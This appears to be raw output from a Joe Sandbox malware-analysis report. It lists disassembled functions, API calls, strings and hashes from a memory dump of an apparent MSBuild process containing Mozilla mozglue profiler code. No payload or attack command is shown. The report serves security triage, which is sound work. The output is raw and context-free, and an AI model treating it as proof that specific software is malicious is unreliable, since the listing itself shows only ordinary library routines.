Part of subcall function 6BCB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6BCB81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BD07096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BD0709C
LocalFree.KERNEL32(?), ref: 6BD070AA

Strings

(null), xrefs: 6BD0706A, 6BD07083
### ERROR: %s: %s, xrefs: 6BD07087

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: b9d6bdd02c16ac70116ae8818c146656746bdffe1366095a3df92be4045ba8e7
Instruction ID: 6eceace5f5f4212c3faabc0a8a2090ca8dce863aeb8c74301f94c67f3788c18f
Opcode Fuzzy Hash: b9d6bdd02c16ac70116ae8818c146656746bdffe1366095a3df92be4045ba8e7
Instruction Fuzzy Hash: BE01B9B1900104AFEB049BB4DC4ADAFBBBCEF49254F010035FB05AB281EA75B9148BA1

Function 6BD09E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6BD09F3D
__aulldiv.LIBCMT ref: 6BD09F77
__aullrem.LIBCMT ref: 6BD09F8C
__aulldiv.LIBCMT ref: 6BD0A023

Strings

NaN, xrefs: 6BD09EAB
-Infinity, xrefs: 6BD09E60, 6BD09E7B

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ed5e7f121b0aca500f2ebe6b9160c9cb5f76aedc5ac5db476366b2873a56403d
Instruction ID: 6bff462ec09a3267a6330cc48f9cc201542eeb87670ec8bc1217276e5c113ba1
Opcode Fuzzy Hash: ed5e7f121b0aca500f2ebe6b9160c9cb5f76aedc5ac5db476366b2873a56403d
Instruction Fuzzy Hash: F3C1BC71E143198FDB14CFA8C890B9EB7B6FB88724F14412DD505AF280EB79A945CB91

Function 6BD0B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCB9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6BD0B92D), ref: 6BCB9BC8
Part of subcall function 6BCB9B80: __Init_thread_footer.LIBCMT ref: 6BCB9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BCB03D4,?), ref: 6BD0B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6BD0B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6BD0BA20
RtlNtStatusToDosError.NTDLL ref: 6BD0BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BD0BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BD0BA86

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: da97e3c936e7482e7853af997ead281397037dc4b243f4019849f7bd8138c2d7
Instruction ID: 9dfde8e10e2e9bb7a40df6ae22fbadb5df60f3f6eb2a816d7d8adc9eb530e58b
Opcode Fuzzy Hash: da97e3c936e7482e7853af997ead281397037dc4b243f4019849f7bd8138c2d7
Instruction Fuzzy Hash: D4519171E08219DFDF14CFA8D881ADDB7B6EF88324F144129E901BB284DB78AD419B94

Function 6BCE8AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDFA80: GetCurrentThreadId.KERNEL32 ref: 6BCDFA8D
Part of subcall function 6BCDFA80: AcquireSRWLockExclusive.KERNEL32(6BD2F448), ref: 6BCDFA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8CBA
free.MOZGLUE(?), ref: 6BCE8CCF

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: 52f3bac874502b76cecf1e56db05b3566a8f6f20137a5b7e46ec06e739749054
Instruction ID: e4da9c305e8ec09dd745ddfa29dd5470a4217d00efbe09f87dd9b4266d0a4d27
Opcode Fuzzy Hash: 52f3bac874502b76cecf1e56db05b3566a8f6f20137a5b7e46ec06e739749054
Instruction Fuzzy Hash: BC718E75A24B00CFD704CF29C480A1AB7F1FF99314F458A9EE9899B362E774E981CB41

Function 6BCAF280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,?,00000000,?,0000001C,?), ref: 6BCAF2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6BCAF2F0
NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,0000001C,0000001C,?), ref: 6BCAF308
RtlNtStatusToDosError.NTDLL ref: 6BCAF36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6BCAF371

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: d72e065e648499eae254f203abaed7d9d5f2ef9b33e68c356028f822ba140389
Instruction ID: 402ef295784a7454103cdb8a4234301250409c326548a62d03ecb3a3baba8bd4
Opcode Fuzzy Hash: d72e065e648499eae254f203abaed7d9d5f2ef9b33e68c356028f822ba140389
Instruction Fuzzy Hash: 1A219330A1234A9FEB10DA62DD45BEF77B8AB44368F044229E510DA180E7BCDA84C761

Function 6BD153C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6BD186AE

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: 43cdc17eae8b457bd877d7ed7c2ff7aa21703a07dfc69437f9dc1a04a210aa75
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: 3FC1B472A0411ACFCB14CF68DC91AEDB7B2EF85324F1902A9D549EF345D734A986CB90

Function 6BD150C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6BD18E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6BD1925C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 53f57fd7782fab1d55911d306eb044d5ed4a42ec7b35ee636f5ebba3365d7a7d
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 12A1D772A041168FCB14CF68DC81799B7B2AF85324F1902B9C949EF345D739A996CB90

Function 6BCF77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCF7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCF7A93

Part of subcall function 6BCC5C50: GetTickCount64.KERNEL32 ref: 6BCC5D40
Part of subcall function 6BCC5C50: EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BCF7AA1

Part of subcall function 6BCC5C50: __aulldiv.LIBCMT ref: 6BCC5DB4
Part of subcall function 6BCC5C50: LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6BCF7B31

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: dcf5694d898611e1ae86f744644e8dfdd057fdbd0dd76f8e8b16ffb7a9eed8a5
Instruction ID: cbcd2d0ea8a1be6f2499120e71ad20cb3f6af16fcfb60cbdbcc9562e6cdf2b0a
Opcode Fuzzy Hash: dcf5694d898611e1ae86f744644e8dfdd057fdbd0dd76f8e8b16ffb7a9eed8a5
Instruction Fuzzy Hash: EEB1BD316283808BCB54CF24C45065FB7E7BFC9314F154A9DE99567290EB78EA0BCB82

Function 6BD0B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6BCDFE3F), ref: 6BD0B720
RtlNtStatusToDosError.NTDLL ref: 6BD0B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6BCDFE3F), ref: 6BD0B760

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: f6344e1174791f4e7ce278033ec70322e67fe7902d6216d2a9a03a351f55ee8a
Instruction ID: fae2c887807152a66febcfb180a83c4ebb471150590c297591a543644c7a10a0
Opcode Fuzzy Hash: f6344e1174791f4e7ce278033ec70322e67fe7902d6216d2a9a03a351f55ee8a
Instruction Fuzzy Hash: 0DF08170948308AAEF058FA09C85BDE77B89B44329F004139D511690C0DB789AC8D660

Function 6BD0B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BCB03D4,?), ref: 6BD0B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6BD0B9A5

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 3a741656721c22d9e353050936d1acaf6d93790d19d7dd47ce7789932e21fb7d
Instruction ID: 5a6d94977bb037eccd3ba858452ed57be704c9b3b2972667601098001c0866aa
Opcode Fuzzy Hash: 3a741656721c22d9e353050936d1acaf6d93790d19d7dd47ce7789932e21fb7d
Instruction Fuzzy Hash: 2C41A771E04619DFDF04CFA9D881ADEB7B6EF88324F14413AE505AB344EB749D458B90

Function 6BD055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6BCDE1A5), ref: 6BD05606
LoadLibraryW.KERNEL32(gdi32,?,6BCDE1A5), ref: 6BD0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6BD05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6BD0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6BD0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6BD0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6BD05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6BD056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6BD056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6BD056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6BD056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6BD05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6BD0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6BD05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6BD05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6BD0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6BD05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6BD057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6BD057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6BD057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6BD057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6BD057FF

Strings

FillRect, xrefs: 6BD05729
AreDpiAwarenessContextsEqual, xrefs: 6BD05637
GetSystemMetricsForDpi, xrefs: 6BD05677
RegisterClassW, xrefs: 6BD056AC
GetMonitorInfoW, xrefs: 6BD057A2
StretchDIBits, xrefs: 6BD057CC
DeleteObject, xrefs: 6BD057F9
gdi32, xrefs: 6BD0560A
SetWindowPos, xrefs: 6BD056F7
SetWindowLongPtrW, xrefs: 6BD057B7
CreateSolidBrush, xrefs: 6BD057E4
GetThreadDpiAwarenessContext, xrefs: 6BD0562D
ReleaseDC, xrefs: 6BD05742
CreateWindowExW, xrefs: 6BD056C5
LoadIconW, xrefs: 6BD0575B
GetDpiForWindow, xrefs: 6BD05690
user32, xrefs: 6BD05601
EnableNonClientDpiScaling, xrefs: 6BD05666
ShowWindow, xrefs: 6BD056DE
MonitorFromWindow, xrefs: 6BD0578D
LoadCursorW, xrefs: 6BD05774
GetWindowDC, xrefs: 6BD05710

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 82d6b8ba377f156fa0cfa1d601bff62e04642e904b10ec837f14da455bab1e76
Instruction ID: 7e01c9edf3f733f0e2dde3df2338a094683497811495f7b49ae9e84591cc8b1b
Opcode Fuzzy Hash: 82d6b8ba377f156fa0cfa1d601bff62e04642e904b10ec837f14da455bab1e76
Instruction Fuzzy Hash: 4E515371514393AFFB055F35CD94926BAACAF062697044466AF11EF286EF7CC8009F74

Function 6BCB47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6BCB4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCB4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCB482D
__Init_thread_footer.LIBCMT ref: 6BCB484A

Part of subcall function 6BCDAB3F: EnterCriticalSection.KERNEL32(6BD2E370,?,?,6BCA3527,6BD2F6CC,?,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB49
Part of subcall function 6BCDAB3F: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA3527,6BD2F6CC,?,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDAB7C

GetCurrentThreadId.KERNEL32 ref: 6BCB485F
GetCurrentThreadId.KERNEL32 ref: 6BCB487E
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCB488B
free.MOZGLUE(?), ref: 6BCB493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCB4956
free.MOZGLUE(00000000), ref: 6BCB4960
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCB499A

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

free.MOZGLUE(?), ref: 6BCB49C6
free.MOZGLUE(?), ref: 6BCB49E9

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6BCB4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6BCB4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6BCB4A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6BCB47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6BCB4828

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 8a78d8e312858dc6a219953f2aadf98d125eff26240c490b5f3f30b542ac117b
Instruction ID: 12fd1a25c9f36a590267fc495cfc54ea00df0ac28824df7bac11d718ab46fa39
Opcode Fuzzy Hash: 8a78d8e312858dc6a219953f2aadf98d125eff26240c490b5f3f30b542ac117b
Instruction Fuzzy Hash: 58810670D141418BEB049F79C885B5E7775BF42328F04057ADB168B281F77AEA45CBA2

Function 6BCB19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BD2F760), ref: 6BCB19BD
GetCurrentProcess.KERNEL32 ref: 6BCB19E5
GetLastError.KERNEL32 ref: 6BCB1A27
moz_xmalloc.MOZGLUE(?), ref: 6BCB1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BCB1A4F
GetLastError.KERNEL32 ref: 6BCB1A92
moz_xmalloc.MOZGLUE(?), ref: 6BCB1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BCB1ABA
LocalFree.KERNEL32(?), ref: 6BCB1C69
free.MOZGLUE(?), ref: 6BCB1C8F
free.MOZGLUE(?), ref: 6BCB1C9D
CloseHandle.KERNEL32(?), ref: 6BCB1CAE
ReleaseSRWLockExclusive.KERNEL32(6BD2F760), ref: 6BCB1D52
GetLastError.KERNEL32 ref: 6BCB1DA5
GetLastError.KERNEL32 ref: 6BCB1DFB
GetLastError.KERNEL32 ref: 6BCB1E49
GetLastError.KERNEL32 ref: 6BCB1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCB1E9B

Part of subcall function 6BCB2070: LoadLibraryW.KERNEL32(combase.dll,6BCB1C5F), ref: 6BCB20AE
Part of subcall function 6BCB2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BCB20CD
Part of subcall function 6BCB2070: __Init_thread_footer.LIBCMT ref: 6BCB20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6BCB1F15
VerSetConditionMask.NTDLL ref: 6BCB1F46
VerSetConditionMask.NTDLL ref: 6BCB1F52
VerSetConditionMask.NTDLL ref: 6BCB1F59
VerSetConditionMask.NTDLL ref: 6BCB1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCB1F6D

Strings

D, xrefs: 6BCB1B57

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 0ded5cc12f46a146de63d58f1ca2c4941b17624edf41f2e681592ba321d948e1
Instruction ID: 356cbc6cece33eaf4a530eca0311e2442b7f445b91ce1f01226148487c09a1e4
Opcode Fuzzy Hash: 0ded5cc12f46a146de63d58f1ca2c4941b17624edf41f2e681592ba321d948e1
Instruction Fuzzy Hash: A7F18271D217659BEB109F75CD48B9AB7B4FF49711F004199EA05AB240E778DE80CFA0

